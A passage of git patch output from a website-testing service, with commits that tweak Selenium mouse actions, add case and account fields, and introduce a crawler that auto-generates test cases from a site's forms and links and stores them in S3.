@@ -1,6 +1,7 @@
 from selenium import webdriver
-from selenium.webdriver import ActionChains, ActionBuilder
+from selenium.webdriver import ActionChains
 from selenium.webdriver.common.by import By
+from selenium.webdriver.common.actions.action_builder import ActionBuilder
 import time, os, numpy, json, sys
 
 

From 0c0d9faf2cd1cc5a6520692e385b8e7135c28c99 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 27 Mar 2024 10:11:04 -0700
Subject: [PATCH 429/752] fixing page interact

---
 app/api/utils/driver_s.py | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index c190a893..fbf6ec3f 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -122,9 +122,12 @@ def get_request_list(driver):
     def interact_with_page(driver):
         # simulate mouse movement
         action = ActionBuilder(driver)
-        action.pointer_action.move_to_location(0, 0).perform()
+        action.pointer_action.move_to_location(0, 0)
+        action.perform()
+        # wait for 1s
         time.sleep(1)
-        action.pointer_action.move_to_location(0, 50).perform()
+        action.pointer_action.move_to_location(0, 50)
+        action.perform()
         return
 
 

From c145f4bb5b509fe6f7abaa7ed0b4a338ba1bafd0 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 1 Apr 2024 12:59:06 -0600
Subject: [PATCH 430/752] testing access

---
 app/api/utils/caser.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 45d074ea..3ed20e7a 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -463,6 +463,7 @@ def run_s(self):
 
 
 
+
     
     async def run_p(self):
 

From 58068758111406b047975c4507071a71964714da Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 16 Apr 2024 13:15:57 -0600
Subject: [PATCH 431/752] added in case_id to args for tasks

---
 app/api/v1/ops/services.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 38a892df..847cf9d2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1817,6 +1817,7 @@ def create_or_update_schedule(request):
                 'page_id': page_id,
                 'updates': updates,
                 'configs': configs,
+                'case_id': case_id,
                 'automation_id': auto_id,
             }
 

From f4d3e5062c8aa91cb171ae4ea77c5566c7f10fab Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 16 Apr 2024 13:54:08 -0600
Subject: [PATCH 432/752] fixed schedules issues

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 847cf9d2..6cc07bc8 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -3030,7 +3030,7 @@ def get_site_stats(request):
     page_count = pages.count()
     test_count = 0
     scan_count = 0
-    schedule_count = 0
+    schedule_count = Schedule.objects.filter(site=site).count()
     for page in pages:
         tests = Test.objects.filter(page=page)
         scans = Scan.objects.filter(page=page)

From ed52f4e6d84b50697755d2960a8e8750230ecd8b Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 17 Apr 2024 09:19:51 -0600
Subject: [PATCH 433/752] added account to testcase creation in tasks

---
 app/api/v1/ops/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py
index 2620c85e..9c590f4a 100644
--- a/app/api/v1/ops/tasks.py
+++ b/app/api/v1/ops/tasks.py
@@ -239,6 +239,7 @@ def create_testcase_task(
             case_name = case.name,
             site = site,
             user = site.user,
+            account = site.account,
             configs = configs,
             steps = steps
         )

From 7252f51f04b9b08ac1d8b0441503e8838686cfb6 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 6 May 2024 13:40:58 -0600
Subject: [PATCH 434/752] adding and testing AutoCase

---
 app/api/models.py             |   1 +
 app/api/tasks.py              |  27 ++
 app/api/utils/autocaser.py    | 755 ++++++++++++++++++++++++++++++++++
 app/api/v1/ops/serializers.py |   2 +-
 app/api/v1/ops/services.py    | 120 +++++-
 app/api/v1/ops/urls.py        |   1 +
 app/api/v1/ops/views.py       |  10 +
 7 files changed, 898 insertions(+), 18 deletions(-)
 create mode 100644 app/api/utils/autocaser.py

diff --git a/app/api/models.py b/app/api/models.py
index 063e2966..54dc00b6 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -448,6 +448,7 @@ class Case(models.Model):
     name = models.CharField(max_length=1000, serialize=True, null=True, blank=True)
     user = models.ForeignKey(User, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True, null=True, blank=True)
+    site = models.ForeignKey(Site, on_delete=models.CASCADE, null=True, blank=True, serialize=True)
     time_created = models.DateTimeField(default=timezone.now, serialize=True)
     steps = models.JSONField(serialize=True, null=True, blank=True, default=get_steps_default)
     tags = models.JSONField(serialize=True, null=True, blank=True, default=get_tags_default)
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7aedf80d..40aff237 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -6,6 +6,7 @@
 from .utils.scanner import Scanner as S
 from .utils.tester import Tester as T
 from .utils.exporter import create_and_send_report_export
+from .utils.autocaser import AutoCaser
 from .v1.ops.tasks import (
     create_site_task, create_scan_task, 
     create_test_task, create_report_task, delete_report_s3,
@@ -490,6 +491,32 @@ def purge_logs(username=None, *args, **kwargs):
     logger.info('Purged logs')
 
 
+
+@shared_task(bind=True, base=BaseTaskWithRetry)
+def create_auto_cases_bg(
+    self, 
+    site_id=None,
+    max_cases=None,
+    max_layers=None,
+    configs=None
+):
+    # get site
+    site = Site.objects.get(id=id)
+
+    # init AutoCaser
+    AC = AutoCaser(
+        site=site,
+        max_cases=max_cases,
+        max_layers=max_layers,
+    )
+
+    # build cases
+    AC.build_cases()
+    logger.info('Built new auto Cases')
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_testcase_bg(
         self, 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
new file mode 100644
index 00000000..e33486a7
--- /dev/null
+++ b/app/api/utils/autocaser.py
@@ -0,0 +1,755 @@
+from selenium import webdriver
+from selenium.webdriver import ActionChains
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.actions.action_builder import ActionBuilder
+from .driver_s import driver_init, driver_wait, quit_driver
+from ..models import Site, Case
+from scanerr import settings
+import time, os, json, sys, uuid, random, boto3
+
+
+
+
+
+class AutoCaser():
+
+
+    def __init__(self, site, max_cases: int=4, max_layers: int=5):
+         
+        # main site object & configs
+        self.scan = site
+        self.max_cases = max_cases
+        self.max_layers = max_layers
+
+        # starting driver
+        self.driver = driver_init()
+
+        # setting selector script
+        self.selector_script = (
+            """
+            const getSelector = (elm) => {
+                if (elm.tagName === "BODY") return "BODY";
+                const names = [];
+                while (elm.parentElement && elm.tagName !== "BODY") {
+                    if (elm.id) {
+                        names.unshift(`[id='${elm.getAttribute("id")}']`); // "#" + elm.getAttribute("id")
+                        break;
+                    } else {
+                        let c = 1, e = elm;
+                        for (; e.previousElementSibling; e = e.previousElementSibling, c++) ;
+                        names.unshift(elm.tagName + ":nth-child(" + c + ")");
+                    }
+                    elm = elm.parentElement;
+                }
+                return names.join(">");
+            }
+
+            return getSelector(arguments[0])
+            
+            """
+        )
+
+        # setting defaults for inputs
+        self.input_types = {
+            "button":           {'test_data': None, 'action': 'click'},
+            "checkbox":         {'test_data': None, 'action': 'click'},
+            "color":            {'test_data': '#ff0000', 'action': 'change'},
+            "date":             {'test_data': '2024-04-23', 'action': 'change'},
+            "datetime-local":   {'test_data': '2024-04-22T12:49', 'action': 'change'},
+            "email":            {'test_data': 'jane@example.com', 'action': 'change'},
+            "file":             {'test_data': None, 'action': None},
+            "hidden":           {'test_data': None, 'action': None},
+            "image":            {'test_data': None, 'action': None},
+            "month":            {'test_data': '2024-04', 'action': 'change'},
+            "number":           {'test_data': '1', 'action': 'change'},
+            "password":         {'test_data': 'pass123456!@', 'action': 'click'},
+            "radio":            {'test_data': None, 'action': 'click'},
+            "range":            {'test_data': 1, 'action': 'change'},
+            "reset":            {'test_data': None, 'action': None},
+            "search":           {'test_data': 'search example', 'action': 'change'},
+            "submit":           {'test_data': None, 'action': 'click'},
+            "tel":              {'test_data': '5555555555', 'action': 'change'},
+            "text":             {'test_data': 'Example Text', 'action': 'change'},
+            "time":             {'test_data': '12:34', 'action': 'change'},
+            "url":              {'test_data': 'https://example.com', 'action': 'change'},
+            "week":             {'test_data': '2024-W15', 'action': 'change'},
+        }
+
+        # setting blacklist for input types to ignore
+        self.blacklist = ['file', 'hidden', 'image', 'reset']
+
+        # setup boto3 configurations
+        self.s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+        
+
+
+
+
+
+
+
+    def get_element_image(self, element: object):
+        try:
+            image = element.screenshot_as_base64
+        except:
+            image = None
+        return image
+
+
+
+
+    def get_url_root(self, url: str) -> str:
+        protocol = url.split('//')[0] + '//'
+        root_url = protocol + url.split('//')[1].split('/')[0]
+        return root_url
+
+
+
+
+    def get_relative_url(self, url: str) -> str:
+        relative_url = '/' + url.split('//')[1].split('/')[1]
+        return relative_url
+
+
+
+
+    def get_elem_text(self, selector: str) -> str:
+        elem_text = self.driver.execute_script(f'return document.querySelector("{selector}").innerText') 
+        elem_text = elem_text.split('\n')[0].strip()
+        return elem_text
+
+
+
+
+    def record_forms(self, elements: list, form: object=None) -> list:
+
+        # wait for page to load 
+        driver_wait(driver=self.driver)
+
+        # building forms list
+        if form is None:
+            # get all forms on the page
+            forms = self.driver.find_elements(By.TAG_NAME, "form")
+        else:
+            # adding single form to que
+            forms = [form]
+        
+        # begin iteration of <form> gathering
+        for form in forms:
+            
+            # get form selector
+            form_selector = self.driver.execute_script(selector_script, form)
+
+            print(f'recording form -> {form_selector}')
+
+            # getting form text
+            elem_text = self.get_elem_text(selector=form_selector, driver=driver)
+
+            # get form image
+            form_img = self.get_element_image(element=form)
+            
+            # get all input fields in form
+            inputs = form.find_elements(By.TAG_NAME, "input")
+
+            # iterate through each input
+            sub_elements = []
+            for i in inputs:
+                
+                if i.get_attribute('type') not in self.blacklist:
+                    # get input data
+                    input_selector = self.driver.execute_script(selector_script, i)
+                    placeholder = i.get_attribute('placeholder')
+                    value = i.get_attribute('value')
+                    type = i.get_attribute('type')
+                    img = self.get_element_image(element=i)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    sub_elements.append({
+                        'selector': input_selector,
+                        'elem_type': i.tag_name,
+                        'placeholder': placeholder,
+                        'value': value,
+                        'type': type,
+                        'data': self.input_types[type]['test_data'],
+                        'action': self.input_types[type]['action'],
+                        'path': relative_url,
+                        'img': img,
+                        'elements': None,
+                    })
+
+            # get all iframes elements in form
+            iframes = form.find_elements(By.TAG_NAME, "iframe")
+
+            # iterate through iframes and save data
+            for iframe in iframes:
+                
+                # get iframe data
+                iframe_selector = self.driver.execute_script(selector_script, iframe)
+                iframe_img = self.get_element_image(element=iframe)
+                relative_url = self.get_relative_url(self.driver.current_url)
+                
+                # get all inputs for iframe
+                iframe_inputs = iframe.find_elements(By.TAG_NAME, "input")
+
+                # iterate through each input
+                iframe_elements = []
+                for i in iframe_inputs:
+                    
+                    if i.get_attribute('type') not in self.blacklist:
+                        # get input data
+                        input_selector = self.driver.execute_script(selector_script, i)
+                        placeholder = i.get_attribute('placeholder')
+                        value = i.get_attribute('value')
+                        type = i.get_attribute('type')
+                        img = self.get_element_image(element=i)
+                        relative_url = self.get_relative_url(self.driver.current_url)
+
+                        # save internal iframe data
+                        iframe_elements.append({
+                            'selector': input_selector,
+                            'elem_type': i.tag_name,
+                            'placeholder': placeholder,
+                            'value': value,
+                            'type': type,
+                            'data': self.input_types[type]['test_data'],
+                            'action': self.input_types[type]['action'],
+                            'path': relative_url,
+                            'img': img,
+                            'elements': None,
+                        })
+                
+                # save sub elem data
+                sub_elements.append({
+                    'selector': iframe_selector,
+                    'elem_type': iframe.tag_name,
+                    'placeholder': None,
+                    'value': None,
+                    'type': None,
+                    'data': None,
+                    'action': 'switch_to_frame',
+                    'path': relative_url,
+                    'img': iframe_img,
+                    'elements': iframe_elements,
+                })
+
+
+
+            # get all button elements in form
+            btns = form.find_elements(By.TAG_NAME, "button")
+
+            # iterate through each btn
+            for btn in btns:
+
+                # get button data
+                btn_selector = self.driver.execute_script(selector_script, btn)
+                type = btn.get_attribute('type')
+                btn_img = self.get_element_image(element=btn)
+                relative_url = self.get_relative_url(self.driver.current_url)
+
+                sub_elements.append({
+                    'selector': btn_selector,
+                    'elem_type': 'button',
+                    'placeholder': None,
+                    'value': None,
+                    'type': type,
+                    'data': None,
+                    'elements': None,
+                    'action': 'click',
+                    'path': relative_url,
+                    'img': btn_img,
+                    'elements': None,
+                })
+
+
+            # save elem data
+            elements.append({
+                'selector': form_selector,
+                'elem_type': 'form',
+                'elem_text': elem_text,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': None,
+                'path': relative_url,
+                'img': form_img,
+                'elements': sub_elements,
+
+            })
+        
+        # return elements array 
+        return elements
+
+
+
+
+    def get_priority_elements(self, elements: list) -> dict:
+        priority_words = [
+            'cart', 'checkout', 'add to cart', 'add to the cart', 
+            'add to basket', 'add to shopping basket', 'add to shopping cart', 
+            'add to the cart', 'billing', 'address', 'payment', 'purchase now',
+            'order now', 'order', 'shop now', 'continue to payment',
+        ]
+
+        priority_elements = []
+        non_priority_elements = []
+
+        # checking each element for prioriry words
+        for element in elements:
+
+            # get element's innerText
+            elem_selector = self.driver.execute_script(selector_script, element)
+            elm_text = self.driver.execute_script(f'return document.querySelector("{elem_selector}").innerText')
+
+            # check each priority word against element innerText
+            for word in priority_words:
+                if word in elm_text.lower():
+                    priority_elements.append(element)
+                    break
+                elif element not in non_priority_elements:
+                    non_priority_elements.append(element)
+
+        data = {
+            'priority_elements': priority_elements, 
+            'non_priority_elements': non_priority_elements
+        }
+
+        return data
+
+
+
+
+    def get_current_elements(self) -> list:
+        buttons = self.driver.find_elements(By.TAG_NAME, 'button')
+        links = self.driver.find_elements(By.TAG_NAME, 'a')
+        forms = self.driver.find_elements(By.TAG_NAME, 'form')
+        current_elements = buttons + links + forms
+        return current_elements
+
+
+
+
+    def get_elements(self):
+
+        # high-level elemets array.
+        # All elememts represent the 
+        # begining of a new Case.
+        elements = []
+
+        # get site page
+        self.driver.get(self.site.site_url)
+        start_page = self.driver.current_url
+
+        # record all forms and sub_elements on page
+        elements = self.record_forms(elements=elements, driver=driver)
+    
+        # grab all buttons
+        buttons = self.driver.find_elements(By.TAG_NAME, "button")
+
+        # grab all links
+        links = self.driver.find_elements(By.TAG_NAME, "a")
+
+        # combine buttons and links
+        start_elms = buttons + links
+
+        # sorting start_elems
+        sorted_elements = self.get_priority_elements(
+            elements=start_elms, 
+            driver=driver
+        )
+        priority_elements = sorted_elements['priority_elements']
+        non_priority_elements = sorted_elements['non_priority_elements']
+
+        final_start_elements = []
+
+        # choosing random priority element
+        if len(priority_elements) > 0:
+            choosen = priority_elements[
+                random.randint(0, (len(priority_elements) - 1))
+            ]
+            final_start_elements.append(
+                self.driver.execute_script(selector_script, choosen)
+            )
+
+        # adding random elements until 
+        # "max_cases" is reached
+        iterations = 0
+        while len(final_start_elements) < self.max_cases and iterations < (5 * max_cases):
+
+            # random choice
+            choosen = non_priority_elements[
+                random.randint(0, (len(non_priority_elements) - 1))
+            ]
+
+            # check if element exists in final_start_elements[]
+            selector = self.driver.execute_script(selector_script, choosen)
+            if selector in final_start_elements:
+                iterations += 1
+                continue
+            
+            # ensuring link is local to site
+            if choosen.tag_name == 'a':
+                link_text = choosen.get_attribute('href')
+                if link_text.startswith(self.get_url_root(start_page)):
+                    final_start_elements.append(selector)
+                    
+            # adding if button
+            if choosen.tag_name == 'button':
+                final_start_elements.append(selector)
+
+            # forcing loop to quit if not enough cases are created
+            iterations += 1
+
+
+        # begin elem iteration
+        for selector in final_start_elements:
+
+            # ensuring we're at start_page
+            if self.driver.current_url != start_page:
+                self.driver.get(start_page)
+                driver_wait(driver=driver)
+
+            # get element info
+            element = self.driver.find_element(By.CSS_SELECTOR, selector)
+            element_img = self.get_element_image(element=element)
+            element_type = element.tag_name
+            elem_relative_url = self.get_relative_url(self.driver.current_url)
+            elem_text = self.get_elem_text(selector=selector, driver=driver)
+
+            print(f'working on this start element -> {selector}')
+
+            # get all current elements and url before action
+            old_elements = self.get_current_elements(driver)
+            previous_url = self.driver.current_url
+
+            # perform first action
+            try:
+                element.click()
+            except Exception as e:
+                print('Element not Clickable, removing')
+                final_start_elements.remove(selector)
+                continue
+
+
+            # begin layering (max_layers)
+            layers = 0
+            run = True
+            sub_elements = []
+            while layers < self.max_layers and run:
+
+                print(f'layers -> {layers} | run -> {run}')
+
+                # driver wait
+                driver_wait(driver=driver)
+
+                # check current page
+                if self.driver.current_url == previous_url:
+                    
+                    # check for new element
+                    new_elements = self.get_current_elements(driver)
+                    for elem in new_elements:
+                        if elem not in old_elements:
+
+                            # get sub element info
+                            elem_selector = self.driver.execute_script(selector_script, elem)
+                            elem_img = self.get_element_image(element=elem)
+                            relative_url = self.get_relative_url(self.driver.current_url)
+                            
+                            # found new element, decide on action
+                            if elem.tag_name == 'a' or elem.tag_name == 'button':
+
+                                # record element
+                                sub_elements.append({
+                                    'selector': elem_selector,
+                                    'elem_type': elem.tag_name,
+                                    'placeholder': None,
+                                    'value': None,
+                                    'type': None,
+                                    'data': None,
+                                    'action': 'click',
+                                    'path': relative_url,
+                                    'img': elem_img,
+                                    'elements': None,
+                                })
+
+                                # click element
+                                try:
+                                    elem.click()
+                                except Exception as e:
+                                    print('Element not Clickable, removing')
+                                    sub_elements.pop()
+
+                                # add to layers and ending internal loop
+                                layers += 1
+                                break
+
+                            if elem.tag_name == 'form':
+                                
+                                # record form into sub_elements list
+                                sub_elements = self.record_forms(
+                                    elements=sub_elements, 
+                                    driver=driver,
+                                    form=elem
+                                )
+
+                                # add to layers and ending case
+                                layers += 1
+                                run = False
+                                break
+                    
+                    # add to layers
+                    layers += 1
+
+
+                # check if page is different but still on site
+                elif self.driver.current_url != previous_url and \
+                    self.driver.current_url.startswith(self.get_url_root(previous_url)):
+
+                    # get new elements and randomly choose 1 (with priority)
+                    new_elements = self.get_current_elements(driver=driver)
+
+                    # sort new elements
+                    sorted_elements = self.get_priority_elements(
+                        elements=new_elements, 
+                        driver=driver
+                    )
+                    priority_elements = sorted_elements['priority_elements']
+                    non_priority_elements = sorted_elements['non_priority_elements']
+                    elem = None
+                    
+                    # choosing random priority elememt 
+                    if len(priority_elements) > 0:
+                        elem = priority_elements[
+                            random.randint(0, (len(priority_elements) - 1))
+                        ]
+
+                    # choosing a random non-priority element
+                    elif len(non_priority_elements) > 0:
+                        elem = non_priority_elements[
+                            random.randint(0, (len(non_priority_elements) - 1))
+                        ]
+
+                    # returning early if no elem selected
+                    if not elem:
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                        break
+
+                    # get sub element info
+                    elem_selector = self.driver.execute_script(selector_script, elem)
+                    elem_img = self.get_element_image(element=elem)
+                    relative_url = self.get_relative_url(self.driver.current_url)
+
+                    # check the type of element
+                    if elem.tag_name == 'form':
+                        # record form into sub_elements list
+                        sub_elements = self.record_forms(
+                            elements=sub_elements, 
+                            driver=driver,
+                            form=elem
+                        )
+
+                        # add to layers and ending case
+                        layers += 1
+                        run = False
+                
+                    if elem.tag_name == 'a' or elem.tag_name == 'button':
+                        # record element
+                        sub_elements.append({
+                            'selector': elem_selector,
+                            'elem_type': elem.tag_name,
+                            'placeholder': None,
+                            'value': None,
+                            'type': None,
+                            'data': None,
+                            'action': 'click',
+                            'path': relative_url,
+                            'img': elem_img,
+                            'elements': None,
+                        })
+
+                        # add to layers
+                        layers += 1
+
+                        # click element
+                        try:
+                            elem.click()
+                        except Exception as e:
+                            print('Element not Clickable, removing')
+                            sub_elements.pop()
+
+
+                # catching all other situations
+                # naving back to previous_url   
+                else:
+                    print('no coditions were met')
+
+                    # add to layers
+                    layers += 1
+
+                    # going back
+                    self.driver.get(previous_url)
+                    
+                
+            # adding final info to elememt list
+            elements.append({
+                'selector': selector,
+                'elem_type': element_type,
+                'elem_text': elem_text,
+                'placeholder': None,
+                'value': None,
+                'type': None,
+                'data': None,
+                'action': 'click',
+                'path': elem_relative_url,
+                'img': element_img,
+                'elements': sub_elements,
+            })
+
+        
+        # quit driver session
+        quit_driver(self.driver)
+
+        # return elements
+        return elements
+
+
+
+
+    def build_cases(self):
+
+        # run get_elements
+        elements = self.get_elements()
+
+        # temp cases definition
+        cases = []
+
+        # get/decide on value for element
+        def get_elem_value(element):
+            if element['value'] == None or len(element['value']) <= 0:
+                return element['data']
+            else:
+                return element['value']
+
+        # for each high-level element, 
+        # build a new `Case` and save "steps" 
+        # as .json file uploaded to S3 
+        for element in elements:
+
+            # defining "steps"
+            steps = []
+
+            # adding firt step, which is naving 
+            # to the the starting element's 'path'
+            steps.append({
+                "action":{
+                    "key": "",
+                    "path": element['path'],
+                    "type": "navigate",
+                    "value": "",
+                    "element": ""
+                },
+                "assertion":{
+                    "type": "",
+                    "value": "",
+                    "element": ""
+                }
+            })
+
+            # adding second step if starting 
+            # element is not a form
+            if element['elem_type'] != 'form':
+                steps.append({
+                    "action":{
+                        "key": "",
+                        "path": element['path'],
+                        "type": element['action'],
+                        "value": get_elem_value(element),
+                        "element": element['selector'],
+                        "img": element['img']
+                    },
+                    "assertion":{
+                        "type": "",
+                        "value": "",
+                        "element": ""
+                    }
+                })
+
+            
+            # sub_element mapping using recursion
+            def sub_element_mapping(elements, steps):
+                if element['elements'] != None:
+                    for elem in elements:
+                        # add step
+                        steps.append({
+                            "action":{
+                                "key": "",
+                                "path": elem['path'],
+                                "type": elem['action'],
+                                "value": get_elem_value(elem),
+                                "element": elem['selector'],
+                                "img": elem['img']
+                            },
+                            "assertion":{
+                                "type": "",
+                                "value": "",
+                                "element": ""
+                            }
+                        })
+
+                        # check if sub_elements exists
+                        if elem['elements'] != None:
+                            sub_element_mapping(elem['elements'], steps)
+
+                # return mapped sub_elements in steps
+                return steps
+
+            
+            # add sub_elements to steps
+            steps = sub_element_mapping(element['elements'], steps)
+
+            # create .json file for steps and upload to s3
+            case_id = uuid.uuid4()
+
+            # saving as json file temporarily
+            with open(f'{case_id}.json', 'w') as fp:
+                json.dump(steps, fp)
+            
+            # seting up paths
+            steps_file = os.path.join(settings.BASE_DIR, f'{case_id}.json')
+            remote_path = f'static/cases/{case_id}.json'
+            root_path = settings.AWS_S3_URL_PATH
+            steps_url = f'{root_path}/{remote_path}'
+        
+            # upload to s3
+            with open(steps_file, 'rb') as data:
+                self.s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                    remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+                )
+
+            # remove local copy
+            os.remove(steps_file)
+
+            # save new Case
+            Case.objects.create(
+                id      = case_id,
+                site    = self.site,
+                name    = element['elem_text'],
+                tags    = ["generated"],
+                steps   = {
+                    'url':  steps_url,
+                    'num_steps': len(steps)
+                },
+            )
+
+
+        return None
+
+
+
+
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index 6dfc5016..04635002 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -179,7 +179,7 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account',
+        'tags', 'account', 'site',
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 6cc07bc8..fdd201cd 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -6,6 +6,7 @@
 from rest_framework.response import Response
 from rest_framework import status
 from scanerr import celery
+from scanerr import settings
 from .serializers import *
 from ...tasks import *
 from rest_framework.pagination import LimitOffsetPagination
@@ -20,6 +21,14 @@
 
 
 
+# setup boto3 configurations
+s3 = boto3.client(
+    's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+    aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+    region_name=str(settings.AWS_S3_REGION_NAME), 
+    endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+)
+
 
 
 
@@ -1006,7 +1015,7 @@ def get_scans(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if scan.site.account != account:
-            data = {'reason': 'retrieve Scans of a Site you do not own',}
+            data = {'reason': 'cannot retrieve Scans you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1026,7 +1035,7 @@ def get_scans(request):
     
 
     if page.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own',}
+        data = {'reason': 'cannot retrieve Scans you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -1066,7 +1075,7 @@ def get_scan_lean(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     if scan.site.account != account:
-        data = {'reason': 'retrieve Scans of a Site you do not own'}
+        data = {'reason': 'cannot retrieve Scans you do not own'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -1497,7 +1506,7 @@ def get_tests(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if test.site.account != account:
-            data = {'reason': 'retrieve Tests of a Site you do not own'}
+            data = {'reason': 'cannot retrieve Tests you do not own'}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
@@ -1523,7 +1532,7 @@ def get_tests(request):
         return Response(data, status=this_status)
 
     if page.site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own',}
+        data = {'reason': 'cannot retrieve Tests you do not own',}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
     
@@ -1567,7 +1576,7 @@ def get_test_lean(request, id):
         return Response(data, status=status.HTTP_404_NOT_FOUND)
 
     if test.site.account != account:
-        data = {'reason': 'retrieve Tests of a Site you do not own'}
+        data = {'reason': 'cannot retrieve Tests you do not own'}
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
@@ -2151,7 +2160,7 @@ def get_automations(request):
             record_api_call(request, data, '404')
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         if automation.account != account:
-            data = {'reason': 'retrieve an Automation you do not own',}
+            data = {'reason': 'cannot retrieve an Automation you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         serializer_context = {'request': request,}
         serialized = AutomationSerializer(automation, context=serializer_context)
@@ -2404,7 +2413,34 @@ def get_processes(request):
 
 
 
+def save_case_steps(steps):
+
+    # create .json file for steps and upload to s3
+    steps_id = uuid.uuid4()
+
+    # saving as json file temporarily
+    with open(f'{steps_id}.json', 'w') as fp:
+        json.dump(steps, fp)
+    
+    # seting up paths
+    steps_file = os.path.join(settings.BASE_DIR, f'{steps_id}.json')
+    remote_path = f'static/cases/steps/{steps_id}.json'
+    root_path = settings.AWS_S3_URL_PATH
+    steps_url = f'{root_path}/{remote_path}'
+
+    # upload to s3
+    with open(steps_file, 'rb') as data:
+        s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+            remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "application/json"}
+        )
+
+    # remove local copy
+    os.remove(steps_file)
 
+    return {
+        'num_steps': len(steps),
+        'url': steps_url
+    }
 
 
 
@@ -2432,21 +2468,27 @@ def create_or_update_case(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
         
         if case.account != account:
-            data = {'reason': 'retrieve Cases you do not own',}
+            data = {'reason': 'cannot retrieve Cases you do not own',}
             record_api_call(request, data, '403')
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         else:
-            case.steps = steps
-            case.name = name
-            case.tags = tags
+            if steps is not None:
+                steps_data = save_case_steps(steps)
+                case.steps = steps_data
+            if name is not None:
+                case.name = name
+            if tags is not None:
+                case.tags = tags
             case.save()
     
     else:
+        setps_data = save_case_steps(steps)
+
         case = Case.objects.create(
             user = request.user,
             name = name, 
-            tags = tags,
-            steps = steps,
+            tags = tags if tags is not None else ["recorded"],
+            steps = steps_data,
             account = account
         )
 
@@ -2474,7 +2516,7 @@ def get_cases(request):
             return Response(data, status=status.HTTP_404_NOT_FOUND)
 
         if case.account != account:
-            data = {'reason': 'retrieve an Case you do not own',}
+            data = {'reason': 'cannot retrieve an Case you do not own',}
             return Response(data, status=status.HTTP_403_FORBIDDEN)
         
         serializer_context = {'request': request,}
@@ -2526,6 +2568,10 @@ def delete_case(request, id):
         record_api_call(request, data, '403')
         return Response(data, status=status.HTTP_403_FORBIDDEN)
 
+    # delete s3 steps object
+    bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
+    bucket.objects.filter(Prefix=str(f'static/cases/{case.id}.json')).delete()
+
     case.delete()
 
     data = {'message': 'Case has been deleted',}
@@ -2538,6 +2584,45 @@ def delete_case(request, id):
 
 
 
+def create_auto_cases(request):
+    # get data
+    site_id = request.data.get('site_id')
